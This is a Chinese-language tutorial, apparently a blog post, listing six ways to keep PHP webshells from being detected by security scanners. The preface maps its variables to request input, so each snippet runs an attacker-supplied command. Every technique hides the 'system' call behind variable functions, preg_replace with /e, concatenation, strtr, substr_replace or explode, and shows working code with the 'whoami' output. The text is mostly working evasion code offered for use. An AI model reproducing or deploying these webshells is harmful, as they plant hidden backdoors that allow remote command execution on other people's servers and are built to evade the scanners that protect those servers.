免杀思路总结

前言

为了方便编写,使用$get1替换$_GET $_POST $_REQUEST,以此类推

免杀思路一(高危函数外传)

1
2
3
4
5
<?php

$get1 = "system";
$get2 = "whoami";
$get1($get2);

执行结果

1
laptop-neu0j1ok\admin

免杀思路二(preg_replace)

基本用法:

preg_replace(array|string $pattern, array|string$replacement, array|string $subject): array|string

  • $pattern 是用于搜索的模式,可以是字符串或字符串数组。

  • $replacement 是用于替换的内容,可以是字符串或字符串数组。

  • $subject 是要搜索和替换的字符串或字符串数组。

简单来说将$subject中用$pattern匹配到的字符替换为$replacement

1
2
3
4
$get1 = "/str/e";
$get2 = "system(whoami)";
$get3 = "str";
preg_replace($get1, $get2, $get3);

执行结果

1
laptop-neu0j1ok\admin

免杀思路三(高位函数字符拼接)

1
2
3
4
5
6
7
8
9
10
11
<?php

$get1 = "s";
$get2 = "y";
$get3 = "s";
$get4 = "t";
$get5 = "e";
$get6 = "m";
$get7 = "whoami";
$get8 = $get1 . $get2 . $get3 . $get4 . $get5 . $get6;
$get8($get7);

执行结果

1
laptop-neu0j1ok\admin

免杀思路四(strtr)

基本用法:

strtr 函数接受三个参数:

  • string $str: 需要转换的原始字符串。
  • array $replace: 一个关联数组,指定要替换的字符或字符串及其对应的替换值。(如果传入的是一个字符串,则不是简单的字符串替换,而是逐字节替换)
  • string $str: 需要转换的原始字符串。
1
2
3
4
5
6
7
8
<?php

$get1 = "sy123m";
$get2 = "123";
$get3 = "ste";
$get4 = "whoami";
$x = strtr($get1, $get2, $get3);
$x($get4);

执行结果

1
laptop-neu0j1ok\admin

免杀思路五(substr_replace)

基本用法:

substr_replace(string|array $subject, string|array$replacement, int|array $start, int|array$length): string|array

  • $subject 是要修改的原始字符串或字符串数组。
  • $replacement 是要插入到 $subject 中的字符串或字符串数组。
  • $start 是替换开始的位置。如果是一个负数,则从字符串的末尾开始计数。
  • $length 是要替换
  • 的字符数。如果是一个负数,则表示从字符串的末尾开始计数。如果没有提供此参数,那么它默认为 strlen(string)(字符串的长度)。当然,如果 length 为 0,那么这个函数的功能为将 replacement 插入到 string 的 start 位置处。
1
2
3
4
5
6
7
8
9
<?php

$get1 = "sy123m";
$get2 = "ste";
$get3 = "2";
$get4 = "3";
$get5 = "whoami";
$x = substr_replace($get1, $get2, $get3, $get4);
$x($get5);

执行结果

1
laptop-neu0j1ok\admin

免杀思路六(explode)

基本用法:

explode(string $separator, string $string int $limit = PHP_INT_MAX): array

此函数返回由字符串组成的数组,每个元素都是string的一个子串,它们被字符串separator作为边界点分割出来。

  • $separator (string): 分隔字符串。这是用于分割 string 的字符或字符串。
  • $string (string): 要分割的原始字符串。
  • $limit (int): 可选参数,用于限制返回的数组元素数量。默认值为 PHP_INT_MAX,表示没有限制。
1
2
3
4
5
6
7
8
9
<?php

$get1 = " ";
$get2 = "s y s t e m";
$get3 = "whoami";
$a = explode($get1, $get2);
echo $a[0];
$x = $a[0].$a[1].$a[2].$a[3].$a[4].$a[5];
$x($get3);

执行结果

1
laptop-neu0j1ok\admin